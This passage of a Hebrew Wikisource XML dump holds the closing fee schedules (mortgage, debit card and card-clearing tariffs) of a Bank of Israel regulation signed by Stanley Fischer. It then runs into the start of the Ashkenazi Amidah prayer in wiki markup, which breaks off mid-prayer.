{{ח:תת|(ד)}} קבלת מידע בתקשורת לבקשת הלקוח {{ש}} {{מוקטן|שירות זה כולל מתן מידע באמצעים כמו: פקס׳, טלפון, טלפון סלולרי, דואר אלקטרוני}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 9&quot;&gt;&lt;td&gt;
{{ח:תת|9.}} '''שירותים נוספים'''
&lt;/td&gt;&lt;td&gt;לשירותים נוספים ראו התעריפון המלא&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 10&quot;&gt;&lt;td&gt;
{{ח:תת|10.}} '''מסלול''' {{ח:הערה|(בוטל)}}
&lt;/td&gt;&lt;td &gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

{{ח:סעיף*|||תיקון: תשע״ז}}
{{ח:תת|{{מוקטן|1}}}} {{מוקטן| הבנק רשאי לגבות בחודש את הגבוה מבין שני אלה: (1) הסכום הכולל של העמלות בשל פעולות בערוץ ישיר ופעולות על יד פקיד, שביצע הלקוח בפועל; (2) עמלת מינימום {{ח:הערה|[צ״ל: עמלה]}} בסכום שאינו עולה על מחיר של פעולה אחת על ידי פקיד.}}
{{ח:תת|{{מוקטן|2}}}} {{מוקטן|משיכה ממכשיר סמוך לסניף או ממכשיר נדרש באמצעות כל כרטיס, או משיכה ממכשיר מרוחק באמצעות כרטיס שהתאגיד הבנקאי הנפיק. לגבי משיכת מזומן ממכשיר מרוחק שאינו מכשיר נדרש באמצעות כרטיס שלא הונפק בידי התאגיד הבנקאי – התאגיד הבנקאי רשאי לגבות מחיר שונה, כפי שיפורט {{ח:פנימי|תוספת 1 חלק 9|בחלק 9 לתוספת הראשונה}}.}}
{{ח:תת|{{מוקטן|3}}}} {{מוקטן|יש לשים לב לסעיף 2(ד) להוראת ניהול בנקאי תקין מס׳ 415 {{ח:חיצוני|כללי הבנקאות (שירות ללקוח) (גילוי נאות ומסירת מסמכים)#סעיף 31|ולסעיף 31 לכללי הבנקאות (שירות ללקוח) (גילוי נאות ומסירת מסמכים), התשנ״ב–1992}} (להלן – כללי הגילוי הנאות), שהעולה מהם הוא שהתאגיד הבנקאי אינו רשאי לגבות עמלה בעד שאילתה על מידע בסיסי כהגדרתו שם, ככל שהשאילתה פוטרת את התאגיד הבנקאי מלשלוח ללקוח, על פי {{ח:חיצוני|כללי הבנקאות (שירות ללקוח) (גילוי נאות ומסירת מסמכים)|כללי הגילוי הנאות}}, מידע זה; הוראת הניהול הבנקאי התקין האמורה ניתנת לעיון באתר האינטרנט של בנק ישראל www.bankisrael.gov.il.}}
{{ח:תת|{{מוקטן|4}}}} {{מוקטן|{{ח:הערה|(נמחק).}}}}

{{ח:סעיף*|||תיקון: תשע״ז, תשפ״ד, תשפ״ו}}
{{ח:ת}} '''נספחים לתעריפון, שיימסרו ללקוח:'''
{{ח:ת}} נספח א׳ – הטבות לקבוצות אוכלוסיה
{{ח:ת}} נספח ה׳ – הטבות בערוצי בנקאות בתקשורת – כמפורט {{ח:פנימי|תוספת 1|בתוספת הראשונה}}
{{ח:ת}} נספח ו׳ – {{ח:הערה|(החל מיום 1.7.2027):}} שירותים הנכללים בשירות ”ניהול חשבון תשלום“ – כמפורט {{ח:פנימי|תוספת 1|בתוספת הראשונה}}

{{ח:קטע2|תוספת 3|תוספת שלישית}}
{{ח:קטע4||{{ח:הערה|({{ח:פנימי|סעיף 3|סעיף 3(2)}})}}}}
{{ח:קטע3||תעריפון משכנתאות}}

{{ח:סעיף*|||תיקון: תשע״ה, תשע״ה־3, תשע״ז, תשפ״ד, תשפ״ו}}
{{ח:ת}} &lt;table width=&quot;100%&quot;&gt;
&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;שירות&lt;/th&gt;&lt;th width=&quot;20%&quot;&gt;מחיר&lt;/th&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 3 פרט 1&quot;&gt;&lt;td width=&quot;30%&quot;&gt;
{{ח:תת|1.}} '''תעודת זכאות'''
&lt;/td&gt;&lt;td&gt;הנפקה או חידוש של תעודת זכאות&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 3 פרט 2&quot;&gt;&lt;td&gt;
{{ח:תת|2.}} '''פתיחת תיק'''
&lt;/td&gt;&lt;td&gt;טיפול בבקשה להלוואה לדיור&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 3 פרט 3&quot;&gt;&lt;td&gt;
{{ח:תת|3.}} '''דמי ניהול''' {{ח:הערה|(נמחק)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 3 פרט 4&quot;&gt;&lt;td&gt;
{{ח:תת|4.}} '''הסבת ערבות'''
&lt;/td&gt;&lt;td&gt;הסבת ערבות לפי {{ח:חיצוני|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות)|חוק המכר}}&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 3 פרט 5&quot;&gt;&lt;td rowspan=&quot;3&quot;&gt;
{{ח:תת|5.}} '''שעבודים'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} רישום שעבודים על ידי נציג הבנק אצל רשם
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} הסכמה ליצירת שעבוד לבנק אחר
&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ג)}} שינוי שעבודים
&lt;/td&gt;&lt;td&gt;בבנק – . . . . ש״ח {{ש}} אצל רשם – . . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 3 פרט 6&quot;&gt;&lt;td rowspan=&quot;3&quot;&gt;
{{ח:תת|6.}} '''גרירת הלוואה לדיור'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} גרירת הלוואה לדיור לנכס אחר
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} גרירת מענק לנכס אחר
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ג)}} ערבות או פיקדון ביניים
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 3 פרט 7&quot;&gt;&lt;td rowspan=&quot;2&quot;&gt;
{{ח:תת|7.}} '''שינויים בהלוואה'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} שינויים בהסכם ההלוואה או בתנאי הערבות לבקשת לקוח או ערב {{ש}} {{מוקטן|כולל: {{ש}} תקופת ההלוואה, {{ש}} זהות או הרכב לווים או ערבים, {{ש}} מסלול ההלוואה, ריבית, הקפאת תשלומים, איחוד / הפרדת זכאות, מועדי פירעון, תיקון ערבות.}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} שינויים במועד הפירעון של הלוואה לדיור לפי {{ח:חיצוני|חוק הבנקאות (שירות ללקוח)|חוק הבנקאות (שירות ללקוח), התשמ״א–1981}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח {{ש}} {{ח:הערה|(החל מיום 1.7.2027):}} כל אחד מארבעת השינויים הראשונים בשנה . . . . ש״ח (בפיקוח); מהשינוי החמישי בשנה . . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 3 פרט 8&quot;&gt;&lt;td&gt;
{{ח:תת|8.}} '''פירעון מוקדם'''
&lt;/td&gt;&lt;td&gt;עמלה תפעולית&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 3 פרט 9&quot;&gt;&lt;td rowspan=&quot;6&quot;&gt;
{{ח:תת|9.}} {{ח:הערה|(יבוטל ביום 1.7.227):}} '''מידע'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} שאילתה בערוץ ישיר
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} הפקה או הדפסה של מסמכים המצויים במאגר הממוחשב לבקשת לקוח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תתת|(1)}} זמינים בסניף
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לבקשה בתוספת . . . . ש״ח לכל עמוד&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תתת|(2)}} אינם זמינים בסניף
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לבקשה בתוספת . . . . ש״ח לכל עמוד&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ג)}} דוחות לבקשת לקוח {{ש}} {{מוקטן|כולל: {{ש}} אישור יתרות {{ש}} פירוט תשלומים של הלוואה {{ש}} פירוט רכיבי תשלום של הלוואה {{ש}} לוח סילוקין נוסף }}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ד)}} איתור מסמכים לבקשת לקוח
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לבקשה&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 3 פרט 10&quot;&gt;&lt;td rowspan=&quot;2&quot;&gt;
{{ח:תת|10.}} '''הודעות, התראות ומעקבים'''
&lt;/td&gt;&lt;td&gt;הודעות {{ש}} {{מוקטן|כולל: {{ש}} הודעות על פיגור בתשלומים {{ש}} התראות}}&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;מכתב התראה של עורר דין&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 3 פרט 11&quot;&gt;&lt;td&gt;
{{ח:תת|11.}} '''שירותים נוספים'''
&lt;/td&gt;&lt;td&gt;לשירותים נוספים העשויים להיות כרוכים בשירות של מתן הלוואה לדיור ראו התעריפון המלא&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

{{ח:סעיף*|||תיקון: תשע״ז, תשפ״ד}}
{{ח:ת}} '''נספחים לתעריפון, שיימסרו ללקוח:'''
{{ח:ת}} נספח א׳ – הטבות לקבוצות אוכלוסייה
{{ח:ת}} נספח ה׳ – הטבות בערוצי בנקאות בתקשורת – כמפורט {{ח:פנימי|תוספת 1|בתוספת הראשונה}}

{{ח:קטע2|תוספת 4|תוספת רביעית}}
{{ח:קטע4||{{ח:הערה|({{ח:פנימי|סעיף 3|סעיף 3(3)}})}}}}
{{ח:קטע3||תעריפון כרטיסי חיוב|תיקון: תשע״ה־3}}

{{ח:סעיף*|||תיקון: תשס״ח, תשע״ג, תשע״ה, תשע״ה־2, תשע״ה־3, תשע״ה־4, תשפ״ד, תשפ״ו}}
{{ח:ת}} &lt;table width=&quot;100%&quot;&gt;
&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;שירות&lt;/th&gt;&lt;th width=&quot;20%&quot;&gt;מחיר&lt;/th&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 4 פרט 1&quot;&gt;&lt;td width=&quot;30%&quot;&gt;
{{ח:תת|1.}} '''דמי כרטיס'''
&lt;/td&gt;&lt;td&gt;על פי סוג הכרטיס&lt;/td&gt;&lt;td&gt;בנספח המצ״ב {{ח:הערה|(החל מיום 1.7.2027):}} (כרטיס חיוב מיידי בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 4 פרט 1א&quot;&gt;&lt;td&gt;
{{ח:תת|(1א)}} '''דמי טעינה'''
&lt;/td&gt;&lt;td&gt;(לגבי כרטיסים נטענים בלבד)&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 4 פרט 2&quot;&gt;&lt;td&gt;
{{ח:תת|2.}} '''עסקה בתשלומים'''
&lt;/td&gt;&lt;td&gt;עמלת תשלום נדחה בשל עסקאות שבוצעו עד יום י״א בשבט התשע״ה (31 בינואר 2015)&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 4 פרט 3&quot;&gt;&lt;td rowspan=&quot;4&quot;&gt;
{{ח:תת|3.}} '''שירותים מיוחדים'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} {{ח:הערה|(נמחק)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} טיפול בהכחשה לא מוצדקת של עסקה
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ג)}} פירעון מוקדם או מיידי של עסקאות
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לבקשה&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ד)}} הנפקת כרטיס חליפי
&lt;/td&gt;&lt;td&gt;הנפקה רגילה . . . . ש״ח {{ש}} הנפקה מיידית . . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 4 פרט 4&quot;&gt;&lt;td rowspan=&quot;10&quot;&gt;
{{ח:תת|4.}} '''שירותים במטבע חוץ'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} עסקאות בדולר או באירו
&lt;/td&gt;&lt;td&gt;. . . . אחוז&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת}} עסקאות במטבע אחר
&lt;/td&gt;&lt;td&gt;. . . . אחוז&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} משיכת מזומן בדולר או באירו ממכשיר אוטומטי בחוץ לארץ
&lt;/td&gt;&lt;td&gt;. . . . אחוז&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת}} משיכת מזומן במטבע אחר ממכשיר אוטומטי בחוץ לארץ
&lt;/td&gt;&lt;td&gt;. . . . אחוז&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת}} משיכת מזומן בדולר או באירו בדלפק
&lt;/td&gt;&lt;td&gt;. . . . אחוז&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת}} משיכת מזומן במטבע אחר בדלפק
&lt;/td&gt;&lt;td&gt;. . . . אחוז&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת}} משיכת מזומן במטבע חוץ מחשבון המנוהל באותו מטבע
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ג)}} {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ד)}} {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ה)}} רכישת מטבע חוץ מחלפן באמצעות כרטיס אשראי
&lt;/td&gt;&lt;td&gt;. . . . דולר&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 4 פרט 5&quot;&gt;&lt;td rowspan=&quot;2&quot;&gt;
{{ח:תת|5.}} {{ח:הערה|(יבוטל ביום 1.7.2027):}} '''מידע'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} הפקה או הדפסה של מסמכים המצויים במאגר הממוחשב לבקשת לקוח
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לבקשה בתוספת . . . . ש״ח לכל עמוד&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} איתור מסמכים לבקשת לקוח
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לבקשה&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 4 פרט 6&quot;&gt;&lt;td&gt;
{{ח:תת|6.}} '''שירותים נוספים'''
&lt;/td&gt;&lt;td&gt;לשירותים נוספים, אשר עשויים להיות כרוכים במתן שירות של כרטיסי חיוב, ראו התעריפון המלא&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

{{ח:סעיף*|||תיקון: תשע״ז, תשפ״ד}}
{{ח:ת}} '''נספחים לתעריפון, שיימסרו ללקוח:'''
{{ח:ת}} נספח א׳ – הטבות לקבוצות אוכלוסייה
{{ח:ת}} נספח ד׳ – דמי כרטיס לפי סוג כרטיס
{{ח:ת}} נספח ה׳ – הטבות בערוצי בנקאות בתקשורת – כמפורט {{ח:פנימי|תוספת 1|בתוספת הראשונה}}

{{ח:קטע2|תוספת 5|תוספת חמישית|תיקון: תשע״ה}}
{{ח:קטע4||{{ח:הערה|({{ח:פנימי|סעיף 3|סעיף 3(4)}})}}}}
{{ח:קטע3||תעריפון סליקה של עסקאות בכרטיס חיוב}}

{{ח:סעיף*|||תיקון: תשפ״ו}}
{{ח:ת}} &lt;table width=&quot;100%&quot;&gt;
&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;שירות&lt;/th&gt;&lt;th width=&quot;20%&quot;&gt;מחיר&lt;/th&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 5 פרט 1&quot;&gt;&lt;td width=&quot;30%&quot;&gt;
{{ח:תת|1.}} '''דמי ניהול חשבון סליקה'''
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;בית עסק פעיל – . . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 5 פרט 2&quot;&gt;&lt;td&gt;
{{ח:תת|2.}} '''דמי הצטרפות של בית עסק אלקטרוני'''
&lt;/td&gt;&lt;td&gt;”בית עסק אלקטרוני“ – בית עסק המאפשר ביצוע פעולות מכירה או קנייה, שהתשלום בעדן מבוצע באמצעות האינטרנט או באמצעות הטלפון הנייד (הסלולרי)&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 5 פרט 3&quot;&gt;&lt;td rowspan=&quot;6&quot;&gt;
{{ח:תת|3.}} '''שירותים מיוחדים'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} שירותי אימות פרטים וביטוח –
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תתת|(1)}} ביטוח עסקה
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לעסקה&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תתת|(2)}} אימות פרטים לכרטיס
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לעסקה&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} ביטול עסקה
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לעסקה&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ג)}} החזר חיוב (Charge Back)
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לעסקה&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ד)}} עיבוד שובר ידני
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לשובר&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 5 פרט 4&quot;&gt;&lt;td rowspan=&quot;2&quot;&gt;
{{ח:תת|4.}} '''מידע'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} {{ח:הערה|תימחק ביום 1.7.2027):}} איתור והפקת מסמכים
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לבקשה בתוספת . . . . ש״ח לכל עמוד&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} קבלת מידע בתקשורת לבקשת לקוח
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 5 פרט 5&quot;&gt;&lt;td&gt;
{{ח:תת|5.}} '''אשראי'''
&lt;/td&gt;&lt;td&gt;טיפול באשראי ובביטחונות&lt;/td&gt;&lt;td&gt;
{{ח:ת}} הלוואות מעל מאה אלף ש״ח . . . . אחוז (מינימום, מכסימום)
{{ח:ת}} ניכיון שיקים מעל 50 אלף ש״ח . . . . אחוז (מינימום, מכסימום)
{{ח:ת}} מסגרות אשראי לעסק קטן . . . . אחוז (מינימום, מכסימום)
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 5 פרט 6&quot;&gt;&lt;td&gt;
{{ח:תת|6.}} '''עמלת סליקה'''
&lt;/td&gt;&lt;td&gt;לפי פירוט שייקבע בהסכם ההתקשרות עם בית העסק&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 5 פרט 7&quot;&gt;&lt;td&gt;
{{ח:תת|7.}} '''שירותים נוספים'''
&lt;/td&gt;&lt;td&gt;שירותים נוספים הכלולים בתעריפון המלא, בכפוף לאישור מראש של המפקח על הבנקים&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

{{ח:סעיף*|||תיקון: תשע״ז, תשפ״ד}}
{{ח:ת}} נספח ה׳, שיימסר ללקוח – הטבות בערוצי בנקאות בתקשורת – כמפורט {{ח:פנימי|תוספת 1|בתוספת הראשונה}}

{{ח:חתימות|י״ז בטבת התשס״ח (26 בדצמבר 2007)}}
* '''סטנלי פישר'''&lt;br&gt;נגיד בנק ישראל
{{ח:סוגר}}
{{ח:סוף}}
[[קטגוריה:בוט חוקים]]</text>
      <sha1>7oorknf1egvsmj20w0gk56pb111nifa</sha1>
    </revision>
  </page>
  <page>
    <title>סידור/נוסח אשכנז/עמידה</title>
    <ns>0</ns>
    <id>1726164</id>
    <revision>
      <id>3020658</id>
      <parentid>3020630</parentid>
      <timestamp>2026-06-18T16:01:15Z</timestamp>
      <contributor>
        <username>מו יו הו</username>
        <id>37729</id>
      </contributor>
      <comment>תבניות</comment>
      <origin>3020658</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="105358" sha1="cn5bhgf4h1v2pbnkdazs9ibqtn7pkhy" xml:space="preserve">==עמידה לחול==
&lt;קטע התחלה=א כ/&gt;
===אבות===
&lt;קטע סוף=א כ/&gt;&lt;noinclude&gt;{{הור|במנחה:}} &lt;/noinclude&gt;&lt;קטע התחלה=כי שם/&gt;כִּי שֵׁם יְיָ אֶקְרָא, הָבוּ גֹדֶל לֵאלֹהֵינוּ׃{{ממס|דברים לב ג}} &lt;קטע סוף=כי שם/&gt;

&lt;קטע התחלה=אדני/&gt;אֲדֹנָי שְׂפָתַי תִּפְתָּח, וּפִי יַגִּיד תְּהִלָּתֶךָ׃{{ממס|תהלים נא יז}} &lt;קטע סוף=אדני/&gt;

&lt;קטע התחלה=א א/&gt;בָּרוּךְ אַתָּה יְיָ, אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, אֱלֹהֵי אַבְרָהָם, אֱלֹהֵי יִצְחָק וֵאלֹהֵי יַעֲקֹב. הָאֵל הַגָּדוֹל, הַגִּבּוֹר וְהַנּוֹרָא, אֵל עֶלְיוֹן, גּוֹמֵל חֲסָדִים טוֹבִים, וְקוֹנֵה הַכֹּל, וְזוֹכֵר חַסְדֵי אָבוֹת, וּמֵבִיא גוֹאֵל לִבְנֵי בְנֵיהֶם לְמַעַן שְׁמוֹ, בְּאַהֲבָה. &lt;קטע סוף=א א/&gt;
{{רקע אפור}}{{הור|בעשרת ימי תשובה:}}{{ש}}&lt;קטע התחלה=זכרנו/&gt;זָכְרֵנוּ לְחַיִּים, מֶלֶךְ חָפֵץ בַּחַיִּים, וְכָתְבֵנוּ&lt;noinclude&gt; (בנעילה: וְחָתְמֵנוּ)&lt;/noinclude&gt; בְּסֵפֶר הַחַיִּים, לְמַעַנְךָ אֱלֹהִים חַיִּים. &lt;קטע סוף=זכרנו/&gt;{{סוף}}
&lt;קטע התחלה=א מלך/&gt;מֶלֶךְ עוֹזֵר וּמוֹשִׁיעַ וּמָגֵן. &lt;קטע סוף=א מלך/&gt;&lt;קטע התחלה=א ת/&gt;בָּרוּךְ אַתָּה יְיָ, מָגֵן אַבְרָהָם. &lt;קטע סוף=א ת/&gt;&lt;קטע התחלה=ב כ/&gt;

===גבורות===
&lt;קטע סוף=ב כ/&gt;&lt;קטע התחלה=ב א/&gt;אַתָּה גִּבּוֹר לְעוֹלָם, אֲדֹנָי. מְחַיֵּה מֵתִים אַתָּה, רַב לְהוֹשִׁיעַ. &lt;קטע סוף=ב א/&gt;

{{הור|בחורף:}} &lt;קטע התחלה=ב חורף/&gt;מַשִּׁיב הָרוּחַ וּמוֹרִיד הַגָּשֶׁם. &lt;קטע סוף=ב חורף/&gt;&lt;קטע התחלה=ב קיץ/&gt;[&lt;span style=&quot;background-color: #F3F6FB; font-family: narkisim;&quot;&gt;&lt;small&gt;&lt;קטע סוף=ב קיץ/&gt;בקיץ ל&lt;קטע התחלה=ב קיץ/&gt;מנהג א&quot;י:&lt;/small&gt;&lt;/span&gt; מוֹרִיד הַטָּל.] &lt;קטע סוף=ב קיץ/&gt;

&lt;קטע התחלה=ב מכלכל/&gt;מְכַלְכֵּל חַיִּים בְּחֶסֶד, מְחַיֵּה מֵתִים בְּרַחֲמִים רַבִּים, סוֹמֵךְ נוֹפְלִים וְרוֹפֵא חוֹלִים וּמַתִּיר אֲסוּרִים, וּמְקַיֵּם אֱמוּנָתוֹ לִישֵׁנֵי עָפָר. מִי כָמוֹךָ בַּעַל גְּבוּרוֹת, וּמִי דּוֹמֶה לָּךְ, מֶלֶךְ מֵמִית וּמְחַיֶּה וּמַצְמִיחַ יְשׁוּעָה. &lt;קטע סוף=ב מכלכל/&gt;
{{רקע אפור}}{{הור|בעשרת ימי תשובה:}}{{ש}}&lt;קטע התחלה=מי כמוך/&gt;מִי כָמוֹךָ אַב הָרַחֲמִים, זוֹכֵר יְצוּרָיו לְחַיִּים בְּרַחֲמִים. &lt;קטע סוף=מי כמוך/&gt;{{סוף}}
&lt;קטע התחלה=ב ונאמן/&gt;וְנֶאֱמָן אַתָּה לְהַחֲיוֹת מֵתִים. &lt;קטע סוף=ב ונאמן/&gt;&lt;קטע התחלה=ב ת/&gt;בָּרוּךְ אַתָּה יְיָ, מְחַיֵּה הַמֵּתִים. &lt;קטע סוף=ב ת/&gt;&lt;קטע התחלה=ג כ/&gt;

===קדושת השם===
&lt;קטע סוף=ג כ/&gt;{{רקע אפור|צבע=#D9E2F3}}{{הור|בחזרת הש&quot;ץ אומרים כאן קדושה:}}{{ש}}&lt;קטע התחלה=נקדש/&gt;נְקַדֵּשׁ אֶת שִׁמְךָ בָּעוֹלָם, כְּשֵׁם שֶׁמַּקְדִּישִׁים אוֹתוֹ בִּשְׁמֵי מָרוֹם. &lt;קטע סוף=נקדש/&gt;&lt;קטע התחלה=ככתוב/&gt;כַּכָּתוּב עַל יַד נְבִיאֶךָ, וְקָרָא זֶה אֶל זֶה וְאָמַר: {{ש}}&lt;קטע סוף=ככתוב/&gt;&lt;קטע התחלה=קדוש/&gt;'''קָדוֹשׁ קָדוֹשׁ קָדוֹשׁ יְיָ צְבָאוֹת, מְלֹא כָל הָאָרֶץ כְּבוֹדוֹ׃'''{{ממס|ישעיהו ו ג}}{{ש}}&lt;קטע סוף=קדוש/&gt;&lt;קטע התחלה=לעומתם/&gt;לְעֻמָּתָם בָּרוּךְ יֹאמֵרוּ:{{ש}}&lt;קטע סוף=לעומתם/&gt;&lt;קטע התחלה=ברוך/&gt;'''בָּרוּךְ כְּבוֹד יְיָ מִמְּקוֹמוֹ׃'''{{ממס|יחזקאל ג יב}}{{ש}}&lt;קטע סוף=ברוך/&gt;&lt;קטע התחלה=ובדברי/&gt;וּבְדִבְרֵי קָדְשְׁךָ כָּתוּב לֵאמֹר:{{ש}}&lt;קטע סוף=ובדברי/&gt;&lt;קטע התחלה=ימלוך/&gt;'''יִמְלֹךְ יְיָ לְעוֹלָם, 